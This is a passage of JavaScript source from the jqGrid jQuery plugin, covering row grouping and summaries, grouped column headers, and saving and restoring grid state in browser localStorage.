(Array.isArray(grp.isInTheSameGroup) && $.jgrid.isFunction(grp.isInTheSameGroup[i]) ? ! grp.isInTheSameGroup[i].call($t, grp.lastvalues[i], v, i, grp): grp.lastvalues[i] !== v)) { // This record is not in same group as previous one grp.groups.push({idx:i,dataIndex:fieldName,value:v, displayValue: displayValue, startRow: irow, cnt:1, summary : [] } ); grp.lastvalues[i] = v; changed = 1; grp.counters[i] = {cnt:1, pos:grp.groups.length-1, summary: $.extend(true,[],grp.summary)}; $.each(grp.counters[i].summary, sumGroups); grp.groups[grp.counters[i].pos].summary = grp.counters[i].summary; } else { if (changed === 1) { // This group has changed because an earlier group changed. grp.groups.push({idx:i,dataIndex:fieldName,value:v, displayValue: displayValue, startRow: irow, cnt:1, summary : [] } ); grp.lastvalues[i] = v; grp.counters[i] = {cnt:1, pos:grp.groups.length-1, summary: $.extend(true,[],grp.summary)}; $.each(grp.counters[i].summary, sumGroups); grp.groups[grp.counters[i].pos].summary = grp.counters[i].summary; } else { grp.counters[i].cnt += 1; grp.groups[grp.counters[i].pos].cnt = grp.counters[i].cnt; $.each(grp.counters[i].summary, sumGroups); grp.groups[grp.counters[i].pos].summary = grp.counters[i].summary; } } } } } //gdata.push( rData ); }); return this; }, groupingToggle : function(hid){ this.each(function(){ var $t = this, grp = $t.p.groupingView, strpos = hid.split('_'), num = parseInt(strpos[strpos.length-2], 10); strpos.splice(strpos.length-2,2); var uid = strpos.join("_"), minus = grp.minusicon, plus = grp.plusicon, tar = $("#"+$.jgrid.jqID(hid)), r = tar.length ? tar[0].nextSibling : null, tarspan = $("#"+$.jgrid.jqID(hid)+" span."+"tree-wrap-"+$t.p.direction), getGroupingLevelFromClass = function (className) { var nums = $.map(className.split(" "), function (item) { if (item.substring(0, uid.length + 1) === uid + "_") { return parseInt(item.substring(uid.length + 1), 10); } }); return nums.length > 0 ? nums[0] : undefined; }, itemGroupingLevel, showData, collapsed = false, footLevel, skip = false, frz = $t.p.frozenColumns ? $t.p.id+"_frozen" : false, tar2 = frz ? $("#"+$.jgrid.jqID(hid), "#"+$.jgrid.jqID(frz) ) : false, r2 = (tar2 && tar2.length) ? tar2[0].nextSibling : null; if( tarspan.hasClass(minus) ) { if(r){ while(r) { itemGroupingLevel = getGroupingLevelFromClass(r.className); if (itemGroupingLevel !== undefined && itemGroupingLevel <= num) { break; } footLevel = parseInt($(r).attr("jqfootlevel") ,10); skip = isNaN(footLevel) ? false : (grp.showSummaryOnHide && footLevel >= num); if( !skip) { $(r).hide(); } r = r.nextSibling; if(frz) { if(!skip) { $(r2).hide(); } r2 = r2.nextSibling; } } } tarspan.removeClass(minus).addClass(plus); collapsed = true; } else { if(r){ showData = undefined; while(r) { itemGroupingLevel = getGroupingLevelFromClass(r.className); footLevel = parseInt($(r).attr("jqfootlevel") ,10); if (showData === undefined) { showData = itemGroupingLevel === undefined; // if the first row after the opening group is data row then show the data rows } skip = $(r).hasClass("ui-subgrid") && $(r).hasClass("ui-sg-collapsed"); if (itemGroupingLevel !== undefined) { if (itemGroupingLevel <= num) { break;// next item of the same lever are found } if (itemGroupingLevel === num + 1) { if(!skip) { $(r).show().find(">td>span."+"tree-wrap-"+$t.p.direction).removeClass(minus).addClass(plus); if(frz) { $(r2).show().find(">td>span."+"tree-wrap-"+$t.p.direction).removeClass(minus).addClass(plus); } } } } else if (showData) { if(!skip) { $(r).show(); if(frz) { $(r2).show(); } } } else if(!isNaN(footLevel) && footLevel >=0 && footLevel === num) { $(r).show(); if(frz) { $(r2).show(); } } r = r.nextSibling; if(frz) { r2 = r2.nextSibling; } } } tarspan.removeClass(plus).addClass(minus); } if(frz && $t.p.height === 'auto'){ $t.grid.fbDiv.height($($t).height()); if($t.grid.fsDiv) { var hasscroll = $($t.grid.bDiv)[0].scrollWidth > $($t.grid.bDiv)[0].clientWidth, //scrollbar height scrollh = hasscroll ? $.jgrid.scrollbarHeight() : 0; $t.grid.fsDiv.css('top', ($t.grid.fbDiv.position().top + $($t).height()) + scrollh + 'px'); } } $($t).triggerHandler("jqGridGroupingClickGroup", [hid , collapsed]); if( $.jgrid.isFunction($t.p.onClickGroup)) { $t.p.onClickGroup.call($t, hid , collapsed); } }); return false; }, groupingRender : function (grdata, colspans, page, rn ) { return this.each(function(){ var $t = this, grp = $t.p.groupingView, str = "", icon = "", hid, clid, pmrtl = grp.groupCollapse ? grp.plusicon : grp.minusicon, gv, cp=[], len =grp.groupField.length, //classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')]['grouping'], common = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].common; pmrtl = pmrtl+" tree-wrap-"+$t.p.direction; $.each($t.p.colModel, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); var toEnd = 0; function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset, fstr) { var fdata = findGroupIdx(i, ik, grp), cm = $t.p.colModel, vv, grlen = fdata.cnt, str="", k , isput = false, tmpdata, tplfld; for(k=foffset; k<colspans;k++) { if(cm[k].hidden ) { tmpdata = "<td role=\"gridcell\" "+$t.formatCol(k,1,'')+"> </td>"; } else if(!isput && fstr) { tmpdata = fstr; isput = true; } else { tmpdata = "<td role=\"gridcell\" "+$t.formatCol(k,1,'')+"> </td>"; } $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { tplfld = (cm[k].summaryTpl) ? cm[k].summaryTpl : "{0}"; vv = this.v; try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; //vv = $t.formatter('', vv, k, this); } catch (ef) { //vv = this.v; } tmpdata= "<td role=\"gridcell\" "+$t.formatCol(k,1,'')+">"+$.jgrid.template(tplfld, vv, fdata.cnt, fdata.dataIndex, fdata.displayValue, fdata.summary)+ "</td>"; return false; } }); str += tmpdata; } return str; } var sumreverse = $.makeArray(grp.groupSummary), mul; sumreverse.reverse(); mul = $t.p.multiselect ? " colspan=\"2\"" : ""; $.each(grp.groups,function(i,n){ if(grp._locgr) { if( !(n.startRow +n.cnt > (page-1)*rn && n.startRow < page*rn)) { return true; } } toEnd++; clid = $t.p.id+"ghead_"+n.idx; hid = clid+"_"+i; icon = "<span style='cursor:pointer;margin-right:8px;margin-left:5px;' class='" + common.icon_base +" "+pmrtl+"' onclick=\"jQuery('#"+$.jgrid.jqID($t.p.id)+"').jqGrid('groupingToggle','"+hid+"');return false;\"></span>"; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter(hid, n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; // format summary values if formatter for( var kk =0;kk< n.summary.length; kk++) { var nv = n.summary[kk]; var ci = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', nv.nm, true); if(ci>=0) { if(typeof nv.st === 'string' && nv.st.toLowerCase() === 'avg') { if(nv.sd && nv.vd) { nv.v = (nv.v/nv.vd); } else if(nv.v && n.cnt > 0) { nv.v = (nv.v/n.cnt); } } nv.uv = nv.v; try { nv.v = $t.formatter('',nv.v, ci, this); } catch (e) {} } } if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template.call($t, grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } if(grp.groupSummaryPos[n.idx] === 'header') { str += "<tr id=\""+hid+"\"" +(grp.groupCollapse && n.idx>0 ? " style=\"display:none;\" " : " ") + "role=\"row\" class= \"" + common.content + " jqgroup ui-row-"+$t.p.direction+" "+clid+"\">"; str += buildSummaryTd(i, 0, grp.groups, (mul==="" ? 0 : 1), "<td role=\"gridcell\" style=\"padding-left:"+(n.idx * 12) + "px;"+"\"" + mul +">" + icon+grpTextStr + "</td>" ); str += "</tr>"; } else { str += "<tr id=\""+hid+"\"" +(grp.groupCollapse && n.idx>0 ? " style=\"display:none;\" " : " ") + "role=\"row\" class= \"" + common.content + " jqgroup ui-row-"+$t.p.direction+" "+clid+"\"><td style=\"padding-left:"+(n.idx * 12) + "px;"+"\" colspan=\""+(grp.groupColumnShow[n.idx] === false ? colspans-1 : colspans)+"\">" + icon + grpTextStr + "</td></tr>"; } var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; if(grp._locgr) { offset = (page-1)*rn; if(offset > n.startRow) { sgr = offset; } } for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } str += grdata[kk - offset].join(''); } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } var hhdr = ""; if(grp.groupCollapse && !grp.showSummaryOnHide) { hhdr = " style=\"display:none;\""; } str += "<tr"+hhdr+" jqfootlevel=\""+(n.idx-ik)+"\" role=\"row\" class=\"" + common.content + " jqfoot ui-row-"+$t.p.direction+"\">"; str += buildSummaryTd(i, ik, grp.groups, 0, false); str += "</tr>"; } toEnd = jj; } } }); $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().append(str); // free up memory str = null; }); }, groupingGroupBy : function (name, options ) { return this.each(function(){ var $t = this; if(typeof name === "string") { name = [name]; } var grp = $t.p.groupingView; $t.p.grouping = true; grp._locgr = false; //Set default, in case visibilityOnNextGrouping is undefined if (grp.visibiltyOnNextGrouping === undefined) { grp.visibiltyOnNextGrouping = []; } var i; // show previous hidden groups if they are hidden and weren't removed yet for(i=0;i<grp.groupField.length;i++) { if(!grp.groupColumnShow[i] && grp.visibiltyOnNextGrouping[i]) { $($t).jqGrid('showCol',grp.groupField[i]); } } // set visibility status of current group columns on next grouping for(i=0;i<name.length;i++) { grp.visibiltyOnNextGrouping[i] = $("#"+$.jgrid.jqID($t.p.id)+"_"+$.jgrid.jqID(name[i])).is(":visible"); } $t.p.groupingView = $.extend($t.p.groupingView, options || {}); grp.groupField = name; $($t).trigger("reloadGrid"); }); }, groupingRemove : function (current, grpViewInit) { return this.each(function(){ var $t = this; if(current === undefined) { current = true; } if(grpViewInit === undefined) { grpViewInit = false; } $t.p.grouping = false; if(current===true) { var grp = $t.p.groupingView, i; // show previous hidden groups if they are hidden and weren't removed yet for(i=0;i<grp.groupField.length;i++) { if (!grp.groupColumnShow[i] && grp.visibiltyOnNextGrouping[i]) { $($t).jqGrid('showCol', grp.groupField); } } $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().find("tr.jqgroup, tr.jqfoot").remove(); $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().find("tr.jqgrow:hidden").show(); } else { $($t).trigger("reloadGrid"); } if(grpViewInit) { $($t).jqGrid('groupingInit'); } }); }, groupingCalculations : { handler: function(fn, v, field, round, roundType, rc) { var funcs = { sum: function() { return $.jgrid.floatNum(v) + $.jgrid.floatNum(rc[field]); }, min: function() { if(v==="") { return $.jgrid.floatNum(rc[field]); } return Math.min($.jgrid.floatNum(v),$.jgrid.floatNum(rc[field])); }, max: function() { if(v==="") { return $.jgrid.floatNum(rc[field]); } return Math.max($.jgrid.floatNum(v),$.jgrid.floatNum(rc[field])); }, count: function() { if(v==="") {v=0;} if(rc.hasOwnProperty(field)) { return v+1; } return 0; }, avg: function() { // the same as sum, but at end we divide it // so use sum instead of duplicating the code (?) return funcs.sum(); } }; if(!funcs[fn]) { throw "jqGrid Grouping No such method: " + fn; } var res = funcs[fn](); if (round != null) { if (roundType === 'fixed') { res = res.toFixed(round); } else { var mul = Math.pow(10, round); res = Math.round(res * mul) / mul; } } return res; } }, groupingResetCalcs : function () { return this.each(function(){ this.p.groupingView._locgr = false; }); }, setColSpanHeader : function( o ) { return this.each(function(){ var ts = this, i, cmi, skip = 0, th, $th, thStyle, k, iCol, cghi, //startColumnName, numberOfColumns, titleText, toolTip, cVisibleColumns, className, colModel = ts.p.colModel, cml = colModel.length, ths = ts.grid.headers, $htable = $("table.ui-jqgrid-htable", ts.grid.hDiv), $thead = $htable.children("thead"), $firstHeaderRow = $htable.find(".jqg-first-row-header"), $focusElem = false, frozen = false, //classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')]['grouping'], numberOfHeadRows = $thead.children("tr").length; //base = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].base; if(Array.isArray( o )) { ts.p.colSpanHeader = o; } if($firstHeaderRow[0] === undefined) { $firstHeaderRow = $('<tr>', {role: "row", "aria-hidden": "true"}).addClass("jqg-first-row-header").css("height", "auto"); } else { $firstHeaderRow.empty(); } if(ts.p.frozenColumns) { $(ts).jqGrid("destroyFrozenColumns"); frozen = true; } for (i = 0; i < cml; i++) { th = ths[i].el; $th = $(th); cmi = colModel[i]; // build the next cell for the first header row thStyle = { height: '0px', width: ths[i].width + 'px', display: (cmi.hidden ? 'none' : '')}; $("<th>", {role: 'gridcell'}).css(thStyle).addClass("ui-first-th-"+ts.p.direction + " " + (cmi.labelClasses || "") ).appendTo($firstHeaderRow); } $thead.prepend($firstHeaderRow); //$firstRow = $thead.find("tr.jqg-first-row-header"); $(ts).on('jqGridResizeStop.setGroupHeaders', function (e, nw, idx) { $firstHeaderRow.find('th').eq(idx)[0].style.width = nw + "px"; }); for (i = 0; i < cml; i++) { th = ths[i].el; $th = $(th); cmi = colModel[i]; iCol = $.jgrid.inColumnHeader(cmi.name, ts.p.colSpanHeader); if (iCol >= 0) { cghi = ts.p.colSpanHeader[iCol]; numberOfColumns = cghi.numberOfColumns; titleText = cghi.titleText || ""; className = cghi.className || ""; toolTip = cghi.toolTip || ""; // caclulate the number of visible columns from the next numberOfColumns columns for (cVisibleColumns = 0, iCol = 0; iCol < numberOfColumns && (i + iCol < cml); iCol++) { if (!colModel[i + iCol].hidden) { cVisibleColumns++; } } if(cVisibleColumns > 0) { $th.attr("colspan", String(cVisibleColumns)); if(numberOfHeadRows > 1) { for(k=1;k<numberOfHeadRows; k++) { $("tr",$thead).eq(k+1).find("th").eq(i).attr("colspan", String(cVisibleColumns)); } } } if (titleText) { var fl = $th.find("div.ui-th-div")[0]; cghi.savedLabel = fl.innerHTML; fl.innerHTML = titleText; if(typeof toolTip === "string" && toolTip !== "") { $th.attr("title", toolTip); } else if (ts.p.headertitles) { $th.attr("title", titleText); } } $th.addClass(className); for( skip=0;skip < numberOfColumns-1;skip++) { $(ths[skip+i+1].el).hide(); ts.p.colModel[skip+i+1].hidedlg = true; ts.p.colModel[skip+i+1]._colspancell = true; if(numberOfHeadRows > 1) { for(k=1;k<numberOfHeadRows; k++) { $("tr",$thead).eq(k+1).find("th").eq(i+skip+1).hide(); } } } } } if( $focusElem ) { try { $($focusElem).focus(); } catch(fe) {} } if(frozen) { $(ts).jqGrid("setFrozenColumns"); } }); }, destroyColSpanHeader : function(emptyColSpan) { if(emptyColSpan === undefined) { emptyColSpan = true; } return this.each(function(){ var ts = this, $htable = $("table.ui-jqgrid-htable", ts.grid.hDiv), clitem, fl, k, j, itm, cellInd, $thead = $htable.children("thead"); $("tr.jqg-first-row-header", $thead).remove(); if(ts.p.colSpanHeader.length) { for(j = 0;j<ts.p.colSpanHeader.length;j++) { clitem = ts.p.colSpanHeader[j]; cellInd = $.jgrid.getElemByAttrVal( ts.p.colModel, 'name', clitem.startColumnName, true); if(cellInd < 0 ) { continue; } for(k = cellInd+1; k < cellInd + clitem.numberOfColumns; k++) { ts.p.colModel[k].hidedlg=false; ts.p.colModel[k]._colspancell=false; } $(">tr", $thead).each(function( i, n) { itm = $("th",n).eq(cellInd); if(!itm.className) { itm.className = ""; } $(itm).attr("colspan","").removeClass( itm.className ); if($(n).hasClass('ui-jqgrid-labels')) { fl = itm.find("div.ui-th-div")[0]; fl.innerHTML = clitem.savedLabel; } for(k=1;k<clitem.numberOfColumns;k++) { $("th", n).eq(cellInd+k).show(); } }); } } if(emptyColSpan) { ts.p.colSpanHeader =[]; } }); }, setGroupHeaders : function ( o ) { o = $.extend({ useColSpanStyle : false, groupHeaders: [] },o || {}); return this.each(function(){ var ts = this, i, cmi, skip = 0, $tr, $colHeader, th, $th, thStyle, iCol, cghi, //startColumnName, numberOfColumns, titleText, toolTip, cVisibleColumns, className, colModel = ts.p.colModel, cml = colModel.length, ths = ts.grid.headers, $htable = $("table.ui-jqgrid-htable", ts.grid.hDiv), $trLabels = $htable.children("thead").children("tr.ui-jqgrid-labels").last().addClass("jqg-second-row-header"), $thead = $htable.children("thead"), $theadInTable, $firstHeaderRow = $htable.find(".jqg-first-row-header"), $firstRow, $focusElem = false, frozen = false, //classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')]['grouping'], base = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].base; if(!ts.p.groupHeader) { ts.p.groupHeader = []; } ts.p.groupHeader.push(o); ts.p.groupHeaderOn = true; if($firstHeaderRow[0] === undefined) { $firstHeaderRow = $('<tr>', {role: "row", "aria-hidden": "true"}).addClass("jqg-first-row-header").css("height", "auto"); } else { $firstHeaderRow.empty(); } if(ts.p.frozenColumns) { $(ts).jqGrid("destroyFrozenColumns"); frozen = true; } if( $(document.activeElement).is('input') || $(document.activeElement).is('textarea') ) { $focusElem = document.activeElement; } $(ts).prepend($thead); $tr = $('<tr>', {role: "row"}).addClass("ui-jqgrid-labels jqg-third-row-header"); for (i = 0; i < cml; i++) { th = ths[i].el; $th = $(th); cmi = colModel[i]; // build the next cell for the first header row thStyle = { height: '0px', width: ths[i].width + 'px', display: (cmi.hidden ? 'none' : '')}; $("<th>", {role: 'gridcell'}).css(thStyle).addClass("ui-first-th-"+ts.p.direction + " " + (cmi.labelClasses || "") ).appendTo($firstHeaderRow); th.style.width = ""; // remove unneeded style iCol = $.jgrid.inColumnHeader(cmi.name, o.groupHeaders); if (iCol >= 0) { cghi = o.groupHeaders[iCol]; numberOfColumns = cghi.numberOfColumns; titleText = cghi.titleText; toolTip = cghi.toolTip || ""; className = cghi.className || ""; // caclulate the number of visible columns from the next numberOfColumns columns for (cVisibleColumns = 0, iCol = 0; iCol < numberOfColumns && (i + iCol < cml); iCol++) { if (!colModel[i + iCol].hidden) { cVisibleColumns++; } } // The next numberOfColumns headers will be moved in the next row // in the current row will be placed the new column header with the titleText. // The text will be over the cVisibleColumns columns $colHeader = $('<th>').attr({role: "columnheader"}) .addClass(base.headerBox+ " ui-th-column-header ui-th-"+ts.p.direction+" "+className + " "+(cmi.labelClasses || "")) //.css({'height':'22px', 'border-top': '0 none'}) .html(titleText); if(cVisibleColumns > 0) { $colHeader.attr("colspan", String(cVisibleColumns)); } if(typeof toolTip === "string" && toolTip !== "") { $colHeader.attr("title", toolTip); } else if (ts.p.headertitles) { $colHeader.attr("title", $colHeader.text()); } // hide if not a visible cols if( cVisibleColumns === 0) { $colHeader.hide(); } $th.before($colHeader); // insert new column header before the current $tr.append(th); // move the current header in the next row // set the coumter of headers which will be moved in the next row skip = numberOfColumns - 1; } else { if (skip === 0) { if (o.useColSpanStyle) { // expand the header height to n rows var rowspan = $th.attr("rowspan") ? parseInt($th.attr("rowspan"),10) + 1 : 2; $th.attr("rowspan", rowspan); } else { $('<th>', {role: "columnheader"}) .addClass(base.headerBox+" ui-th-column-header ui-th-"+ts.p.direction) .css({"display": cmi.hidden ? 'none' : ''}) .insertBefore($th); $tr.append(th); } } else { // move the header to the next row //$th.css({"padding-top": "2px", height: "19px"}); $tr.append(th); skip--; } } } $theadInTable = $(ts).children("thead"); $theadInTable.prepend($firstHeaderRow); $tr.insertAfter($trLabels); $htable.append($theadInTable); if (o.useColSpanStyle) { // Increase the height of resizing span of visible headers $htable.find("span.ui-jqgrid-resize").each(function () { var $parent = $(this).parent(); if ($parent.is(":visible")) { this.style.cssText = 'height: ' + $parent.height() + 'px !important; cursor: col-resize;'; } }); // Set position of the sortable div (the main lable) // with the column header text to the middle of the cell. // One should not do this for hidden headers. $htable.find("div.ui-jqgrid-sortable").each(function () { var $ts = $(this), $parent = $ts.parent(); if ($parent.is(":visible") && $parent.is(":has(span.ui-jqgrid-resize)")) { // minus 4px from the margins of the resize markers $ts.css('top', ($parent.height() - $ts.outerHeight()) / 2 - 4 + 'px'); } }); } $firstRow = $theadInTable.find("tr.jqg-first-row-header"); $(ts).on('jqGridResizeStop.setGroupHeaders', function (e, nw, idx) { $firstRow.find('th').eq(idx)[0].style.width = nw + "px"; }); if( $focusElem ) { try { $($focusElem).focus(); } catch(fe) {} } var testws = $("tr.jqg-second-row-header th").eq( 0 ); if( $.jgrid.type(testws)==='object' && testws.length && $.jgrid.trim(testws[0].outerText) === "" ) { $("tr.jqg-second-row-header th").eq( 0 ).prepend(' '); } if(frozen) { $(ts).jqGrid("setFrozenColumns"); } $(ts).triggerHandler("afterSetGroupHandler", [o]); }); }, destroyGroupHeader : function(nullHeader) { if(nullHeader === undefined) { nullHeader = true; } return this.each(function() { var $t = this, $tr, i, l, headers, $th, $resizing, grid = $t.grid, thead = $("table.ui-jqgrid-htable thead", grid.hDiv), cm = $t.p.colModel, hc, frozen = false; if(!grid) { return; } if($t.p.frozenColumns) { $($t).jqGrid("destroyFrozenColumns"); frozen = true; } $(this).off('.setGroupHeaders'); $t.p.groupHeaderOn = false; $tr = $("<tr>", {role: "row"}).addClass("ui-jqgrid-labels"); headers = grid.headers; for (i = 0, l = headers.length; i < l; i++) { hc = cm[i].hidden ? "none" : ""; $th = $(headers[i].el) .width( $('tr.jqg-first-row-header th', thead).eq( i ).width() ) .css('display',hc); try { $th.removeAttr("rowSpan"); } catch (rs) { //IE 6/7 $th.attr("rowSpan",1); } $tr.append($th); $resizing = $th.children("span.ui-jqgrid-resize"); if ($resizing.length>0) {// resizable column $resizing[0].style.height = ""; } $th.children("div")[0].style.top = ""; } $(thead).children('tr.ui-jqgrid-labels').remove(); $(thead).children('tr.jqg-first-row-header').remove(); $(thead).prepend($tr); if(nullHeader === true) { $($t).jqGrid('setGridParam',{ 'groupHeader': null}); } if(frozen) { $($t).jqGrid("setFrozenColumns"); } $($t).off("afterSetGroupHandler"); }); }, isGroupHeaderOn : function () { var $t = this[0]; return $t.p.groupHeaderOn === true && $t.p.groupHeader && (Array.isArray($t.p.groupHeader) || $.jgrid.isFunction($t.p.groupHeader) ); }, refreshGroupHeaders : function() { return this.each(function(){ var ts = this, gHead, gh = $(ts).jqGrid("isGroupHeaderOn"); if(gh) { $(ts).jqGrid('destroyGroupHeader', false); gHead = $.extend([],ts.p.groupHeader); ts.p.groupHeader = null; } if( gh && gHead) { for(var k =0; k < gHead.length; k++) { $(ts).jqGrid('setGroupHeaders', gHead[k]); } } }); } }); //module begin $.jgrid = $.jgrid || {}; $.extend($.jgrid,{ saveState : function ( jqGridId, o ) { o = $.extend({ useStorage : true, storageType : "localStorage", // localStorage or sessionStorage beforeSetItem : null, compression: false, compressionModule : 'LZString', // object by example gzip, LZString compressionMethod : 'compressToUTF16', // string by example zip, compressToUTF16 debug : false, saveData : true }, o || {}); if(!jqGridId) { return; } var gridstate = "", data = "", ret, $t = $("#"+jqGridId)[0], tmp; // to use navigator set storeNavOptions to true in grid options if(!$t.grid) { return;} tmp = $($t).data('inlineNav'); if(tmp && $t.p.inlineNav) { $($t).jqGrid('setGridParam',{_iN: tmp}); } tmp = $($t).data('filterToolbar'); if(tmp && $t.p.filterToolbar) { $($t).jqGrid('setGridParam',{_fT: tmp}); } gridstate = $($t).jqGrid('jqGridExport', { exptype : "jsonstring", ident:"", root:"", data : o.saveData }); data = ''; if( o.saveData ) { data = $($t.grid.bDiv).find(".ui-jqgrid-btable tbody").first().html(); var firstrow = data.indexOf("</tr>"); data = data.slice(firstrow + 5); } if($.jgrid.isFunction(o.beforeSetItem)) { ret = o.beforeSetItem.call($t, gridstate); if(ret != null) { gridstate = ret; } } if(o.debug) { $("#gbox_tree").prepend('<a id="link_save" target="_blank" download="jqGrid_dump.txt">Click to save Dump Data</a>'); var temp = [], file, properties = {}, url; temp.push("Grid Options\n"); temp.push(gridstate); temp.push("\n"); temp.push("GridData\n"); temp.push(data); properties.type = 'plain/text;charset=utf-8'; // Specify the file's mime-type. try { file = new File(temp, "jqGrid_dump.txt", properties); } catch (e) { file = new Blob(temp, properties); } url = URL.createObjectURL(file); $("#link_save").attr("href",url).on('click',function(){ $(this).remove(); }); } if(o.compression) { if(o.compressionModule) { try { ret = window[o.compressionModule][o.compressionMethod](gridstate); if(ret != null) { gridstate = ret; data = window[o.compressionModule][o.compressionMethod](data); } } catch (e) { // can not execute a compression. } } } if(o.useStorage && $.jgrid.isLocalStorage()) { try { window[o.storageType].setItem("jqGrid"+$t.p.id, gridstate); window[o.storageType].setItem("jqGrid"+$t.p.id+"_data", data); } catch (e) { if(e.code === 22) { // chrome is 21 // just for now. we should make some additionla changes and eventually clear some local items alert("Local storage limit is over!"); } } } return gridstate; }, loadState : function (jqGridId, gridstring, o) { o = $.extend({ useStorage : true, storageType : "localStorage", clearAfterLoad: false, // clears the jqGrid localStorage items aftre load beforeSetGrid : null, afterSetGrid : null, decompression: false, decompressionModule : 'LZString', // object by example gzip, LZString decompressionMethod : 'decompressFromUTF16', // string by example unzip, decompressFromUTF16 restoreData : true }, o || {}); if(!jqGridId) { return; } var ret, tmp, $t = $("#"+jqGridId)[0], data, iN, fT; if(o.useStorage) { try { gridstring = window[o.storageType].getItem("jqGrid"+$t.id); data = window[o.storageType].getItem("jqGrid"+$t.id+"_data"); } catch (e) { // can not get data } } if(!gridstring) { return; } if(o.decompression) { if(o.decompressionModule) { try { ret = window[o.decompressionModule][o.decompressionMethod]( gridstring ); if(ret != null ) { gridstring = ret; data = window[o.decompressionModule][o.decompressionMethod]( data ); } } catch (e) { // decompression can not be done } } } ret = $.jgrid.parseFunc( gridstring ); if( ret && $.jgrid.type(ret) === 'object') { if($t.grid) { $.jgrid.gridUnload( jqGridId ); } if($.jgrid.isFunction(o.beforeSetGrid)) { tmp = o.beforeSetGrid( ret ); if(tmp && $.jgrid.type(tmp) === 'object') { ret = tmp; } } // some preparings var retfunc = function( param ) { var p; p = param; return p;}, prm = { "reccount" : ret.reccount, "records" : ret.records, "lastpage" : ret.lastpage, "shrinkToFit" : retfunc( ret.shrinkToFit), "data": retfunc(ret.data), "datatype" : retfunc(ret.datatype), "grouping" : retfunc(ret.grouping) }; ret.shrinkToFit = false; ret.data = []; ret.datatype = 'local'; ret.grouping = false; //ret.navGrid = false; if(ret.inlineNav) { iN = retfunc( ret._iN ); ret._iN = null; delete ret._iN; } if(ret.filterToolbar) { fT = retfunc( ret._fT ); ret._fT = null; delete ret._fT; } var grid = $("#"+jqGridId).jqGrid( ret ); grid.jqGrid('delRowData','norecs'); if( o.restoreData && $.jgrid.trim( data ) !== '') { grid.append( data ); } grid.jqGrid( 'setGridParam', prm); if(ret.storeNavOptions && ret.navGrid) { // set to false so that nav grid can be run grid[0].p.navGrid = false; grid.jqGrid('navGrid', ret.pager, ret.navOptions, ret.editOptions, ret.addOptions, ret.delOptions, ret.searchOptions, ret.viewOptions); if(ret.navButtons && ret.navButtons.length) { for(var b = 0; b < ret.navButtons.length; b++) { if( 'sepclass' in ret.navButtons[b][1]) { grid.jqGrid('navSeparatorAdd', ret.navButtons[b][0], ret.navButtons[b][1]); } else { grid.jqGrid('navButtonAdd', ret.navButtons[b][0], ret.navButtons[b][1]); } } } } // refresh index grid[0].refreshIndex(); // subgrid if(ret.subGrid) { var ms = ret.multiselect === 1 ? 1 : 0, rn = ret.rownumbers === true ? 1 :0; grid.jqGrid('addSubGrid', ms + rn); // reopen the sugrid in order to maintain the subgrid state. // currently only one level is supported // todo : supposrt for unlimited levels $.each(grid[0].rows, function(i, srow){ if( $(srow).hasClass('ui-sg-expanded') ) { // reopen the subgrid $(grid[0].rows[i-1]).find('td.sgexpanded').click().click(); } }); } // treegrid if(ret.treeGrid) { var i = 1, len = grid[0].rows.length, expCol = ret.expColInd, isLeaf = ret.treeReader.leaf_field, expanded = ret.treeReader.expanded_field; // optimization of code needed here while(i<len) { $(grid[0].rows[i].cells[expCol]) .find("div.treeclick") .on("click",function(e){ var target = e.target || e.srcElement, ind2 =$.jgrid.stripPref(ret.idPrefix,$(target,grid[0].rows).closest("tr.jqgrow")[0].id), pos = grid[0].p._index[ind2]; if(!grid[0].p.data[pos][isLeaf]){ if(grid[0].p.data[pos][expanded]){ grid.jqGrid("collapseRow",grid[0].p.data[pos]); grid.jqGrid("collapseNode",grid[0].p.data[pos]); } else { grid.jqGrid("expandRow",grid[0].p.data[pos]); grid.jqGrid("expandNode",grid[0].p.data[pos]); } } return false; }); if(ret.ExpandColClick === true) { $(grid[0].rows[i].cells[expCol]) .find("span.cell-wrapper") .css("cursor","pointer") .on("click",function(e) { var target = e.target || e.srcElement, ind2 =$.jgrid.stripPref(ret.idPrefix,$(target,grid[0].rows).closest("tr.jqgrow")[0].id), pos = grid[0].p._index[ind2]; if(!grid[0].p.data[pos][isLeaf]){ if(grid[0].p.data[pos][expanded]){ grid.jqGrid("collapseRow", grid[0].p.data[pos]); 